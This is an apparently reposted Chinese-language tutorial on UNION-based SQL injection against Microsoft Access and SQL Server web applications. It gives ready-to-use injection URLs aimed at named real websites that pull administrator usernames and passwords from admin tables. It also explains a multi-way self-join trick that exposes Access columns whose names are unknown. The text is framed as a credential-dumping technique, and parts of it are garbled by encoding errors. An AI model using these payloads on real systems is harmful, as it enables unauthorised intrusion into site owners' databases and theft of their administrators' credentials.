怎么迅速取得access、SQL Server數(shù)據(jù)_mysql數(shù)據(jù)庫(kù)
發(fā)表時(shí)間:2023-08-14 來(lái)源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]1.使用access數(shù)據(jù)庫(kù)的系統(tǒng)存在SQL注入漏洞;mssql數(shù)據(jù)庫(kù)也支持這個(gè)技術(shù)2.需要知道欲爆數(shù)據(jù)所在的表的表名以及這個(gè)表下的一個(gè)字段名,一般都是id字段使用本技術(shù)顯而易見(jiàn)的優(yōu)勢(shì)在于:1.可以不...
1.使用access數(shù)據(jù)庫(kù)的系統(tǒng)存在SQL注入漏洞;mssql數(shù)據(jù)庫(kù)也支持這個(gè)技術(shù)
2.需要知道欲爆數(shù)據(jù)所在的表的表名以及這個(gè)表下的一個(gè)字段名,一般都是id字段
使用本技術(shù)顯而易見(jiàn)的優(yōu)勢(shì)在于:
1.可以不需要引號(hào),過(guò)濾引號(hào)對(duì)本技術(shù)沒(méi)有影響
2.可以快速的知道敏感數(shù)據(jù)的內(nèi)容,而不必像以往一樣慢慢的猜解,中文、特殊字符等等都通殺
3.在SQL Server屏蔽了錯(cuò)誤信息之后仍然可以快速得到敏感數(shù)據(jù)內(nèi)容
4.可以在不知道關(guān)鍵(欲知數(shù)據(jù)的)字段名的情況下仍然能夠獲取到欲知數(shù)據(jù)
咋一看可能這個(gè)技術(shù)很難,其實(shí)很簡(jiǎn)單。一共有兩個(gè)難點(diǎn),一般的第一個(gè)難點(diǎn)在看到結(jié)果以后都很容易想到,但是第二個(gè)難點(diǎn)卻的確有點(diǎn)點(diǎn)麻煩。
首先看一個(gè)表格,是union的語(yǔ)法。這也是爆出數(shù)據(jù)的主要原理。如下圖所示:
當(dāng)我們使用SQL Inject技術(shù)插入union語(yǔ)句以后,只要兩個(gè)select查詢得到的列數(shù)相同,那么整條SQL語(yǔ)句執(zhí)行完成以后,得到的查詢結(jié)果就變成了union后面select得到的數(shù)據(jù)。所以就有可能將我們所需要的數(shù)據(jù)爆出來(lái)。來(lái)看一個(gè)簡(jiǎn)單的例子:
http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20admin
這是一個(gè)SQL Server的服務(wù)器,關(guān)閉了錯(cuò)誤信息的回報(bào),所以不能夠按照以往的方法直接得到敏感數(shù)據(jù)。通過(guò)SQL Inject插入union語(yǔ)句以后,可以大膽的猜測(cè)到所執(zhí)行的SQL語(yǔ)句變成了:
select * from Soft where SoftID=3903 union select username,password,1,1,1 from admin
那么在正常情況下顯示Soft第1、2個(gè)字段值得地方就會(huì)顯示admin的username和password字段,后面的3個(gè)1也是同理替代了。按照這個(gè)特性,我們當(dāng)然也可以直接得到Admin_UserInfo表里面的username和password字段。構(gòu)造的語(yǔ)句如下所示:
http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20Admin_UserInfo%20where%20username<>
以上就是簡(jiǎn)單的利用union來(lái)實(shí)現(xiàn)對(duì)敏感數(shù)據(jù)的獲取,而不通過(guò)復(fù)雜的暴力拆解。為了實(shí)現(xiàn)在不知道字段名同樣能夠得到其中的數(shù)據(jù)這個(gè)目的的時(shí)候,我們當(dāng)然就應(yīng)該想到使用*來(lái)代替字段名。這樣只要*所代表的字段再加上幾個(gè)1的數(shù)目和腳本中的select查詢表中的字段數(shù)目相同,那么就同樣可以得到不知道字段名的數(shù)據(jù)了。
考慮到這樣一種情況,有這樣一條語(yǔ)句:select id,hit,softname,softURL from soft where id=10。其中能夠在網(wǎng)頁(yè)中正常顯示出來(lái)的字段是softname和softURL,那么我們?cè)谑褂胾nion的時(shí)候就應(yīng)該調(diào)整*所在的位置,一般admin表中結(jié)構(gòu)為id username password,那么在注入上面這條假設(shè)的語(yǔ)句的時(shí)候就應(yīng)該這樣構(gòu)造SQL語(yǔ)句:select 1,* from admin。使*所代替的username和pssword字段處于softname和softURL兩個(gè)字段的位置上,這樣網(wǎng)頁(yè)才能夠?qū)⑽覀兿胍胾sername和password字段乖乖的交出來(lái)。當(dāng)然這里只是最簡(jiǎn)單的一個(gè)例子來(lái)說(shuō)明,有很多時(shí)候一個(gè)表里面可能有十幾個(gè)字段,我遇到最長(zhǎng)的是四十三個(gè)字段。那么腳本中使用select *來(lái)做查詢的話,我們?cè)跇?gòu)造union select就應(yīng)該用1湊數(shù)到四十三個(gè)字段。其中當(dāng)然是會(huì)有一些字段不被網(wǎng)頁(yè)顯示出來(lái),這就需要考慮union select后面的*號(hào)所在的位置了。相信這個(gè)應(yīng)該不用我多說(shuō)了。
上面說(shuō)的語(yǔ)法完全符合SQL Server。但是Access和SQL Server相比較,真的是小巫見(jiàn)大巫了。在SQL Server里面,當(dāng)我們使用select *,1,1,1 from admin語(yǔ)句查詢得到的記錄集合分別是:* 1 1 1。但是在access當(dāng)中上面的這條語(yǔ)句查詢的結(jié)果是1 1 1 *,也就是說(shuō)無(wú)論你將*號(hào)處于這群1中間的什么位置上,*所代表的?葑蓯譴τ誆檠?峁?淖詈竺妗S靡桓齦叢擁愕睦?幼魎得鰨?BR>http://www.hnp2p.com/mov/view.asp?id=1916%20union%20(select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin)
這個(gè)站點(diǎn)使用的是access數(shù)據(jù)庫(kù),可以看到能夠正常顯示出來(lái)的字段是2、3、7、8、10、11,而后面的字段卻不會(huì)顯示出來(lái),去掉14,15,16換上*號(hào),頁(yè)面同樣顯示出數(shù)字,也就是說(shuō)admin中的字段數(shù)是三個(gè),肯定是id username password這種結(jié)構(gòu),但是除了id字段其他的字段都不能夠被猜測(cè)出名字。按照在上面SQL Server中所使用的方法移動(dòng)*號(hào)的位置以求能夠?qū)⒚舾袛?shù)據(jù)爆出來(lái),在access中是不可行的。原因是access始終將*好所代替的字段放在查詢數(shù)據(jù)集的最后面。Access查詢出來(lái)的結(jié)果永遠(yuǎn)都是:1,2,3,4,5,6,7,8,9,10,11,12,13,*這個(gè)樣子。為了將*好所代替的字段表示出來(lái),我們必須將*所代替的字段移動(dòng)到其他位置上。先看結(jié)果:
http://www.hnp2p.com/mov/view.asp?id=1916%20union%20select%201,*%20from%20(((admin%20as%20a%20inner%20join
%20admin%20as%20b
%20on%20a.id=b.
id)%20inner%20join%20admin%20as%20c%20on%20c
.id=b.id)%20inner%20join%20admin%20as%20d%20on%20d.id=c.id)
%20inner%20join%20admin%20as%20e%20o
n%20d.id=e.id
通過(guò)這樣構(gòu)造的語(yǔ)句的執(zhí)行,最終查詢得到的數(shù)據(jù)形式是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
1,a.id a.name a.pwd b.id b.name b.pwd c.id c.name c.pwd d.id d.name d.pwd e.id e.name e.pwd
其中第3和第7個(gè)字段正好就是我們想要得username和password字段的值。這里我使用的是join語(yǔ)法,將兩個(gè)表連接(相加)起來(lái)從而構(gòu)造得到這樣的一個(gè)滿足我們要求的查詢結(jié)果。
Join分為全部連接、左連接和右連接,具體區(qū)別可以去查看SQL語(yǔ)法。在這里,access中我們不管選擇哪一種連接方式效果都等同于全部連接?匆粋(gè)簡(jiǎn)單的join語(yǔ)法
SELECT *
FROM (表1 INNER JOIN 表2 ON 表1.序號(hào)=表2.序號(hào))
INNER JOIN 表3
ON 表1.序號(hào)=表3.序號(hào)
轉(zhuǎn)換為實(shí)例就是:
select 1,2,3,4,*
from ((admin as a inner join admin as b on a.id=b.id)
inner join admin as c on c.id=b.id)
inner join admin as d on d.id=c.id
按照這種格式就可以把上面的那個(gè)url真正執(zhí)行的SQL語(yǔ)句解出來(lái),無(wú)非就是不斷的使用join連接數(shù)據(jù)表admin,然后通過(guò)1來(lái)補(bǔ)齊前面的字段數(shù)目。只要語(yǔ)句構(gòu)建得當(dāng),那么不知道字段名的數(shù)據(jù)全部都能夠在頁(yè)面中顯示出來(lái)。這就是這個(gè)技術(shù)的難點(diǎn)所在了。
Microsoft Access在很多地方得到廣泛使用,例如小型企業(yè),大公司的部門。